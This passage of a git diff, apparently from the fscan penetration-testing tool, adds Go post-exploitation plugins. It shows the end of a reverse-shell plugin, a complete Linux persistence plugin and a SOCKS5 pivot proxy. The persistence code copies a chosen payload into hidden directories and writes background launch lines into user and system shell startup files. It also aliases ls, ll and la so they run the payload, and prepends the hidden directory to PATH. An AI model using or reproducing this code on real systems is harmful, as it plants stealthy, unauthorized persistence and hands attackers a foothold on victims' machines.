func (p *ReverseShellPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("Go原生反弹Shell插件\n")
|
||||
info.WriteString(fmt.Sprintf("目标: %s\n", p.target))
|
||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||
info.WriteString("功能: 建立反弹Shell连接,支持交互式命令执行\n")
|
||||
info.WriteString("实现方式: 纯Go原生,无外部依赖\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// RegisterReverseShellPlugin 注册反弹Shell插件
|
||||
func RegisterReverseShellPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "reverseshell",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "纯Go原生反弹Shell本地插件,支持Windows/Linux/macOS",
|
||||
Category: "local",
|
||||
Tags: []string{"reverseshell", "local", "shell", "crossplatform", "native"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewReverseShellPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("reverseshell", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterReverseShellPlugin()
|
||||
}
|
420
Plugins/local/shellenv/plugin.go
Normal file
420
Plugins/local/shellenv/plugin.go
Normal file
@ -0,0 +1,420 @@
|
||||
package shellenv
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// ShellEnvPlugin Shell环境变量持久化插件 - 使用简化架构
|
||||
type ShellEnvPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
targetFile string
|
||||
}
|
||||
|
||||
// NewShellEnvPlugin 创建Shell环境变量持久化插件 - 简化版本
|
||||
func NewShellEnvPlugin() *ShellEnvPlugin {
|
||||
// 从全局参数获取目标文件路径
|
||||
targetFile := common.PersistenceTargetFile
|
||||
if targetFile == "" {
|
||||
targetFile = "" // 需要用户指定
|
||||
}
|
||||
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "shellenv",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Linux Shell环境变量持久化插件,通过修改shell配置文件实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "persistence", "linux", "shell", "environment"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &ShellEnvPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
targetFile: targetFile,
|
||||
}
|
||||
|
||||
// 只支持Linux平台
|
||||
plugin.SetPlatformSupport([]string{"linux"})
|
||||
// 需要写入用户配置文件的权限
|
||||
plugin.SetRequiresPrivileges(false)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *ShellEnvPlugin) Initialize() error {
|
||||
if p.targetFile == "" {
|
||||
return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
|
||||
return fmt.Errorf("目标文件不存在: %s", p.targetFile)
|
||||
}
|
||||
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行Shell环境变量持久化 - 简化版本
|
||||
func (p *ShellEnvPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
if runtime.GOOS != "linux" {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("Shell环境变量持久化只支持Linux平台"),
|
||||
}, nil
|
||||
}
|
||||
|
||||
common.LogBase("开始Shell环境变量持久化...")
|
||||
common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
|
||||
|
||||
// 执行持久化操作
|
||||
results := make([]string, 0)
|
||||
|
||||
// 1. 复制文件到隐藏目录
|
||||
hiddenPath, err := p.copyToHiddenPath()
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("复制文件失败: %v", err))
|
||||
} else {
|
||||
results = append(results, fmt.Sprintf("文件已复制到: %s", hiddenPath))
|
||||
common.LogSuccess(fmt.Sprintf("文件已复制到: %s", hiddenPath))
|
||||
}
|
||||
|
||||
// 2. 添加到用户shell配置文件
|
||||
userConfigs, err := p.addToUserConfigs(hiddenPath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("添加到用户配置失败: %v", err))
|
||||
} else {
|
||||
results = append(results, fmt.Sprintf("已添加到用户配置: %s", strings.Join(userConfigs, ", ")))
|
||||
common.LogSuccess("已添加到用户shell配置")
|
||||
}
|
||||
|
||||
// 3. 添加到全局shell配置文件
|
||||
globalConfigs, err := p.addToGlobalConfigs(hiddenPath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("添加到全局配置失败: %v", err))
|
||||
} else {
|
||||
results = append(results, fmt.Sprintf("已添加到全局配置: %s", strings.Join(globalConfigs, ", ")))
|
||||
common.LogSuccess("已添加到全局shell配置")
|
||||
}
|
||||
|
||||
// 4. 创建启动别名
|
||||
aliasConfigs, err := p.addAliases(hiddenPath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("创建别名失败: %v", err))
|
||||
} else {
|
||||
results = append(results, fmt.Sprintf("已创建别名: %s", strings.Join(aliasConfigs, ", ")))
|
||||
common.LogSuccess("已创建命令别名")
|
||||
}
|
||||
|
||||
// 5. 添加PATH环境变量
|
||||
err = p.addToPath(filepath.Dir(hiddenPath))
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("添加PATH失败: %v", err))
|
||||
} else {
|
||||
results = append(results, "已添加到PATH环境变量")
|
||||
common.LogSuccess("已添加到PATH环境变量")
|
||||
}
|
||||
|
||||
success := len(results) > 0
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: success,
|
||||
Service: "ShellEnvPersistence",
|
||||
Banner: fmt.Sprintf("Shell环境变量持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
|
||||
Extra: map[string]interface{}{
|
||||
"target_file": p.targetFile,
|
||||
"platform": runtime.GOOS,
|
||||
"methods": results,
|
||||
"status": "completed",
|
||||
},
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// copyToHiddenPath 复制文件到隐藏目录
|
||||
func (p *ShellEnvPlugin) copyToHiddenPath() (string, error) {
|
||||
// 获取用户主目录
|
||||
usr, err := user.Current()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// 创建隐藏目录
|
||||
hiddenDirs := []string{
|
||||
filepath.Join(usr.HomeDir, ".local", "bin"),
|
||||
filepath.Join(usr.HomeDir, ".config"),
|
||||
"/tmp/.system",
|
||||
"/var/tmp/.cache",
|
||||
}
|
||||
|
||||
var targetDir string
|
||||
for _, dir := range hiddenDirs {
|
||||
if err := os.MkdirAll(dir, 0755); err == nil {
|
||||
targetDir = dir
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if targetDir == "" {
|
||||
return "", fmt.Errorf("无法创建目标目录")
|
||||
}
|
||||
|
||||
// 生成隐藏文件名
|
||||
basename := filepath.Base(p.targetFile)
|
||||
hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename))
|
||||
if p.isScriptFile() {
|
||||
hiddenName += ".sh"
|
||||
}
|
||||
|
||||
targetPath := filepath.Join(targetDir, hiddenName)
|
||||
|
||||
// 复制文件
|
||||
err = p.copyFile(p.targetFile, targetPath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// 设置执行权限
|
||||
os.Chmod(targetPath, 0755)
|
||||
|
||||
return targetPath, nil
|
||||
}
|
||||
|
||||
// copyFile 复制文件内容
|
||||
func (p *ShellEnvPlugin) copyFile(src, dst string) error {
|
||||
sourceData, err := os.ReadFile(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(dst, sourceData, 0755)
|
||||
}
|
||||
|
||||
// addToUserConfigs 添加到用户shell配置文件
|
||||
func (p *ShellEnvPlugin) addToUserConfigs(execPath string) ([]string, error) {
|
||||
usr, err := user.Current()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
configFiles := []string{
|
||||
filepath.Join(usr.HomeDir, ".bashrc"),
|
||||
filepath.Join(usr.HomeDir, ".profile"),
|
||||
filepath.Join(usr.HomeDir, ".bash_profile"),
|
||||
filepath.Join(usr.HomeDir, ".zshrc"),
|
||||
}
|
||||
|
||||
var modified []string
|
||||
execLine := p.generateExecLine(execPath)
|
||||
|
||||
for _, configFile := range configFiles {
|
||||
if p.addToConfigFile(configFile, execLine) {
|
||||
modified = append(modified, configFile)
|
||||
}
|
||||
}
|
||||
|
||||
if len(modified) == 0 {
|
||||
return nil, fmt.Errorf("无法修改任何用户配置文件")
|
||||
}
|
||||
|
||||
return modified, nil
|
||||
}
|
||||
|
||||
// addToGlobalConfigs 添加到全局shell配置文件
|
||||
func (p *ShellEnvPlugin) addToGlobalConfigs(execPath string) ([]string, error) {
|
||||
configFiles := []string{
|
||||
"/etc/bash.bashrc",
|
||||
"/etc/profile",
|
||||
"/etc/zsh/zshrc",
|
||||
"/etc/profile.d/custom.sh",
|
||||
}
|
||||
|
||||
var modified []string
|
||||
execLine := p.generateExecLine(execPath)
|
||||
|
||||
for _, configFile := range configFiles {
|
||||
// 对于profile.d,需要先创建目录
|
||||
if strings.Contains(configFile, "profile.d") {
|
||||
os.MkdirAll(filepath.Dir(configFile), 0755)
|
||||
}
|
||||
|
||||
if p.addToConfigFile(configFile, execLine) {
|
||||
modified = append(modified, configFile)
|
||||
}
|
||||
}
|
||||
|
||||
if len(modified) == 0 {
|
||||
return nil, fmt.Errorf("无法修改任何全局配置文件")
|
||||
}
|
||||
|
||||
return modified, nil
|
||||
}
|
||||
|
||||
// addAliases 添加命令别名
|
||||
func (p *ShellEnvPlugin) addAliases(execPath string) ([]string, error) {
|
||||
usr, err := user.Current()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
aliasFiles := []string{
|
||||
filepath.Join(usr.HomeDir, ".bash_aliases"),
|
||||
filepath.Join(usr.HomeDir, ".aliases"),
|
||||
}
|
||||
|
||||
// 生成常用命令别名
|
||||
aliases := []string{
|
||||
fmt.Sprintf("alias ls='%s; /bin/ls'", execPath),
|
||||
fmt.Sprintf("alias ll='%s; /bin/ls -l'", execPath),
|
||||
fmt.Sprintf("alias la='%s; /bin/ls -la'", execPath),
|
||||
}
|
||||
|
||||
var modified []string
|
||||
for _, aliasFile := range aliasFiles {
|
||||
content := strings.Join(aliases, "\n") + "\n"
|
||||
if p.addToConfigFile(aliasFile, content) {
|
||||
modified = append(modified, aliasFile)
|
||||
}
|
||||
}
|
||||
|
||||
return modified, nil
|
||||
}
|
||||
|
||||
// addToPath 添加到PATH环境变量
|
||||
func (p *ShellEnvPlugin) addToPath(dirPath string) error {
|
||||
usr, err := user.Current()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
configFile := filepath.Join(usr.HomeDir, ".bashrc")
|
||||
pathLine := fmt.Sprintf("export PATH=\"%s:$PATH\"", dirPath)
|
||||
|
||||
if p.addToConfigFile(configFile, pathLine) {
|
||||
return nil
|
||||
}
|
||||
|
||||
return fmt.Errorf("无法添加PATH环境变量")
|
||||
}
|
||||
|
||||
// addToConfigFile 添加内容到配置文件
|
||||
func (p *ShellEnvPlugin) addToConfigFile(configFile, content string) bool {
|
||||
// 读取现有内容
|
||||
existingContent := ""
|
||||
if data, err := os.ReadFile(configFile); err == nil {
|
||||
existingContent = string(data)
|
||||
}
|
||||
|
||||
// 检查是否已存在
|
||||
if strings.Contains(existingContent, content) {
|
||||
return true // 已存在,视为成功
|
||||
}
|
||||
|
||||
// 添加新内容
|
||||
if !strings.HasSuffix(existingContent, "\n") && existingContent != "" {
|
||||
existingContent += "\n"
|
||||
}
|
||||
existingContent += content + "\n"
|
||||
|
||||
// 写入文件
|
||||
return os.WriteFile(configFile, []byte(existingContent), 0644) == nil
|
||||
}
|
||||
|
||||
// generateExecLine 生成执行命令行
|
||||
func (p *ShellEnvPlugin) generateExecLine(execPath string) string {
|
||||
if p.isScriptFile() {
|
||||
return fmt.Sprintf("bash %s >/dev/null 2>&1 &", execPath)
|
||||
} else {
|
||||
return fmt.Sprintf("%s >/dev/null 2>&1 &", execPath)
|
||||
}
|
||||
}
|
||||
|
||||
// isScriptFile 检查是否为脚本文件
|
||||
func (p *ShellEnvPlugin) isScriptFile() bool {
|
||||
ext := strings.ToLower(filepath.Ext(p.targetFile))
|
||||
return ext == ".sh" || ext == ".bash" || ext == ".zsh"
|
||||
}
|
||||
|
||||
// GetLocalData 获取Shell环境变量持久化本地数据
|
||||
func (p *ShellEnvPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
|
||||
data["plugin_type"] = "shellenv"
|
||||
data["platform"] = runtime.GOOS
|
||||
data["target_file"] = p.targetFile
|
||||
data["persistence_method"] = "Shell Environment"
|
||||
|
||||
if hostname, err := os.Hostname(); err == nil {
|
||||
data["hostname"] = hostname
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取数据
|
||||
func (p *ShellEnvPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: fmt.Sprintf("Shell环境变量持久化完成,目标文件: %s", p.targetFile),
|
||||
Data: data,
|
||||
Extra: map[string]interface{}{
|
||||
"target_file": p.targetFile,
|
||||
"persistence_method": "Shell Environment",
|
||||
"status": "completed",
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *ShellEnvPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("Shell环境变量持久化插件\n")
|
||||
info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
|
||||
info.WriteString("支持平台: Linux\n")
|
||||
info.WriteString("功能: 通过修改shell配置文件实现持久化\n")
|
||||
info.WriteString("方法: .bashrc、.profile、别名、PATH环境变量\n")
|
||||
info.WriteString("支持文件: .sh脚本和ELF可执行文件\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// RegisterShellEnvPlugin 注册Shell环境变量持久化插件
|
||||
func RegisterShellEnvPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "shellenv",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Linux Shell环境变量持久化插件,通过修改shell配置文件实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"shellenv", "local", "persistence", "linux"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewShellEnvPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("shellenv", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterShellEnvPlugin()
|
||||
}
|
377
Plugins/local/socks5proxy/plugin.go
Normal file
377
Plugins/local/socks5proxy/plugin.go
Normal file
@ -0,0 +1,377 @@
|
||||
package socks5proxy
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// Socks5ProxyPlugin SOCKS5代理插件 - 使用简化架构
|
||||
type Socks5ProxyPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
port int
|
||||
listener net.Listener
|
||||
}
|
||||
|
||||
// NewSocks5ProxyPlugin 创建SOCKS5代理插件 - 简化版本
|
||||
func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
|
||||
// 从全局参数获取SOCKS5端口
|
||||
port := common.Socks5ProxyPort
|
||||
if port <= 0 {
|
||||
port = 1080 // 默认端口
|
||||
}
|
||||
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "socks5proxy",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "本地SOCKS5代理服务器插件,支持HTTP/HTTPS代理",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "proxy", "socks5", "network"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &Socks5ProxyPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
port: port,
|
||||
}
|
||||
|
||||
// 设置支持的平台(支持Windows、Linux和macOS)
|
||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||
// 不需要特殊权限
|
||||
plugin.SetRequiresPrivileges(false)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *Socks5ProxyPlugin) Initialize() error {
|
||||
// 调用基类初始化
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行SOCKS5代理扫描 - 简化版本
|
||||
func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("启动SOCKS5代理服务器...")
|
||||
|
||||
// 启动SOCKS5代理服务器
|
||||
common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", p.port))
|
||||
|
||||
// 直接在当前goroutine中运行,这样可以确保在设置Socks5ProxyActive后立即被主程序检测到
|
||||
err := p.startSocks5Server(ctx, p.port)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("SOCKS5代理服务器错误: %v", err))
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
}, nil
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "SOCKS5Proxy",
|
||||
Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS),
|
||||
Extra: map[string]interface{}{
|
||||
"port": p.port,
|
||||
"platform": runtime.GOOS,
|
||||
"protocol": "socks5",
|
||||
"status": "completed",
|
||||
},
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// startSocks5Server 启动SOCKS5代理服务器 - 核心实现
|
||||
func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int) error {
|
||||
// 监听指定端口
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port))
|
||||
if err != nil {
|
||||
return fmt.Errorf("监听端口失败: %v", err)
|
||||
}
|
||||
defer listener.Close()
|
||||
|
||||
p.listener = listener
|
||||
common.LogSuccess(fmt.Sprintf("SOCKS5代理服务器已在 127.0.0.1:%d 上启动", port))
|
||||
|
||||
// 设置SOCKS5代理为活跃状态,告诉主程序保持运行
|
||||
common.Socks5ProxyActive = true
|
||||
defer func() {
|
||||
// 确保退出时清除活跃状态
|
||||
common.Socks5ProxyActive = false
|
||||
}()
|
||||
|
||||
// 主循环处理连接
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
common.LogBase("SOCKS5代理服务器被上下文取消")
|
||||
return ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
// 设置监听器超时,以便能响应上下文取消
|
||||
if tcpListener, ok := listener.(*net.TCPListener); ok {
|
||||
tcpListener.SetDeadline(time.Now().Add(1 * time.Second))
|
||||
}
|
||||
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
// 检查是否是超时错误
|
||||
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
|
||||
continue // 超时继续循环
|
||||
}
|
||||
common.LogError(fmt.Sprintf("接受连接失败: %v", err))
|
||||
continue
|
||||
}
|
||||
|
||||
// 并发处理客户端连接
|
||||
go p.handleClient(conn)
|
||||
}
|
||||
}
|
||||
|
||||
// handleClient 处理客户端连接
|
||||
func (p *Socks5ProxyPlugin) handleClient(clientConn net.Conn) {
|
||||
defer clientConn.Close()
|
||||
|
||||
// SOCKS5握手阶段
|
||||
if err := p.handleSocks5Handshake(clientConn); err != nil {
|
||||
common.LogError(fmt.Sprintf("SOCKS5握手失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
// SOCKS5请求阶段
|
||||
targetConn, err := p.handleSocks5Request(clientConn)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("SOCKS5请求处理失败: %v", err))
|
||||
return
|
||||
}
|
||||
defer targetConn.Close()
|
||||
|
||||
common.LogSuccess("建立SOCKS5代理连接")
|
||||
|
||||
// 双向数据转发
|
||||
p.relayData(clientConn, targetConn)
|
||||
}
|
||||
|
||||
// handleSocks5Handshake 处理SOCKS5握手
|
||||
func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error {
|
||||
// 读取客户端握手请求
|
||||
buffer := make([]byte, 256)
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取握手请求失败: %v", err)
|
||||
}
|
||||
|
||||
if n < 3 || buffer[0] != 0x05 { // SOCKS版本必须是5
|
||||
return fmt.Errorf("不支持的SOCKS版本")
|
||||
}
|
||||
|
||||
// 发送握手响应(无认证)
|
||||
response := []byte{0x05, 0x00} // 版本5,无认证
|
||||
_, err = conn.Write(response)
|
||||
if err != nil {
|
||||
return fmt.Errorf("发送握手响应失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// handleSocks5Request 处理SOCKS5连接请求
|
||||
func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, error) {
|
||||
// 读取连接请求
|
||||
buffer := make([]byte, 256)
|
||||
n, err := clientConn.Read(buffer)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取连接请求失败: %v", err)
|
||||
}
|
||||
|
||||
if n < 7 || buffer[0] != 0x05 {
|
||||
return nil, fmt.Errorf("无效的SOCKS5请求")
|
||||
}
|
||||
|
||||
cmd := buffer[1]
|
||||
if cmd != 0x01 { // 只支持CONNECT命令
|
||||
// 发送不支持的命令响应
|
||||
response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||
clientConn.Write(response)
|
||||
return nil, fmt.Errorf("不支持的命令: %d", cmd)
|
||||
}
|
||||
|
||||
// 解析目标地址
|
||||
addrType := buffer[3]
|
||||
var targetHost string
|
||||
var targetPort int
|
||||
|
||||
switch addrType {
|
||||
case 0x01: // IPv4
|
||||
if n < 10 {
|
||||
return nil, fmt.Errorf("IPv4地址格式错误")
|
||||
}
|
||||
targetHost = fmt.Sprintf("%d.%d.%d.%d", buffer[4], buffer[5], buffer[6], buffer[7])
|
||||
targetPort = int(buffer[8])<<8 + int(buffer[9])
|
||||
case 0x03: // 域名
|
||||
if n < 5 {
|
||||
return nil, fmt.Errorf("域名格式错误")
|
||||
}
|
||||
domainLen := int(buffer[4])
|
||||
if n < 5+domainLen+2 {
|
||||
return nil, fmt.Errorf("域名长度错误")
|
||||
}
|
||||
targetHost = string(buffer[5 : 5+domainLen])
|
||||
targetPort = int(buffer[5+domainLen])<<8 + int(buffer[5+domainLen+1])
|
||||
case 0x04: // IPv6
|
||||
if n < 22 {
|
||||
return nil, fmt.Errorf("IPv6地址格式错误")
|
||||
}
|
||||
// IPv6地址解析(简化实现)
|
||||
targetHost = net.IP(buffer[4:20]).String()
|
||||
targetPort = int(buffer[20])<<8 + int(buffer[21])
|
||||
default:
|
||||
// 发送不支持的地址类型响应
|
||||
response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||
clientConn.Write(response)
|
||||
return nil, fmt.Errorf("不支持的地址类型: %d", addrType)
|
||||
}
|
||||
|
||||
// 连接目标服务器
|
||||
targetAddr := fmt.Sprintf("%s:%d", targetHost, targetPort)
|
||||
targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second)
|
||||
if err != nil {
|
||||
// 发送连接失败响应
|
||||
response := []byte{0x05, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||
clientConn.Write(response)
|
||||
return nil, fmt.Errorf("连接目标服务器失败: %v", err)
|
||||
}
|
||||
|
||||
// 发送成功响应
|
||||
response := make([]byte, 10)
|
||||
response[0] = 0x05 // SOCKS版本
|
||||
response[1] = 0x00 // 成功
|
||||
response[2] = 0x00 // 保留
|
||||
response[3] = 0x01 // IPv4地址类型
|
||||
// 绑定地址和端口(使用127.0.0.1:port)
|
||||
copy(response[4:8], []byte{127, 0, 0, 1})
|
||||
response[8] = byte(p.port >> 8)
|
||||
response[9] = byte(p.port & 0xff)
|
||||
|
||||
_, err = clientConn.Write(response)
|
||||
if err != nil {
|
||||
targetConn.Close()
|
||||
return nil, fmt.Errorf("发送成功响应失败: %v", err)
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("建立代理连接: %s", targetAddr))
|
||||
return targetConn, nil
|
||||
}
|
||||
|
||||
// relayData 双向数据转发
|
||||
func (p *Socks5ProxyPlugin) relayData(clientConn, targetConn net.Conn) {
|
||||
done := make(chan struct{}, 2)
|
||||
|
||||
// 客户端到目标服务器
|
||||
go func() {
|
||||
defer func() { done <- struct{}{} }()
|
||||
io.Copy(targetConn, clientConn)
|
||||
targetConn.Close()
|
||||
}()
|
||||
|
||||
// 目标服务器到客户端
|
||||
go func() {
|
||||
defer func() { done <- struct{}{} }()
|
||||
io.Copy(clientConn, targetConn)
|
||||
clientConn.Close()
|
||||
}()
|
||||
|
||||
// 等待其中一个方向完成
|
||||
<-done
|
||||
}
|
||||
|
||||
// GetLocalData 获取SOCKS5代理本地数据
|
||||
func (p *Socks5ProxyPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
|
||||
// 获取系统信息
|
||||
data["plugin_type"] = "socks5proxy"
|
||||
data["platform"] = runtime.GOOS
|
||||
data["arch"] = runtime.GOARCH
|
||||
data["port"] = p.port
|
||||
data["protocol"] = "socks5"
|
||||
|
||||
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||
data["home_dir"] = homeDir
|
||||
}
|
||||
|
||||
if workDir, err := os.Getwd(); err == nil {
|
||||
data["work_dir"] = workDir
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取数据(SOCKS5代理主要是服务功能)
|
||||
func (p *Socks5ProxyPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: fmt.Sprintf("SOCKS5代理服务器运行完成,端口: %d", p.port),
|
||||
Data: data,
|
||||
Extra: map[string]interface{}{
|
||||
"port": p.port,
|
||||
"protocol": "socks5",
|
||||
"status": "completed",
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *Socks5ProxyPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("SOCKS5代理服务器插件\n")
|
||||
info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port))
|
||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||
info.WriteString("功能: 提供本地SOCKS5代理服务,支持TCP连接转发\n")
|
||||
info.WriteString("协议: SOCKS5,支持HTTP/HTTPS代理\n")
|
||||
info.WriteString("实现方式: 纯Go原生,无外部依赖\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// RegisterSocks5ProxyPlugin 注册SOCKS5代理插件
|
||||
func RegisterSocks5ProxyPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "socks5proxy",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "本地SOCKS5代理服务器插件,支持HTTP/HTTPS代理",
|
||||
Category: "local",
|
||||
Tags: []string{"socks5proxy", "local", "proxy", "network"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewSocks5ProxyPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("socks5proxy", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterSocks5ProxyPlugin()
|
||||
}
|
488
Plugins/local/systemdservice/plugin.go
Normal file
488
Plugins/local/systemdservice/plugin.go
Normal file
@ -0,0 +1,488 @@
|
||||
package systemdservice
|
||||
|
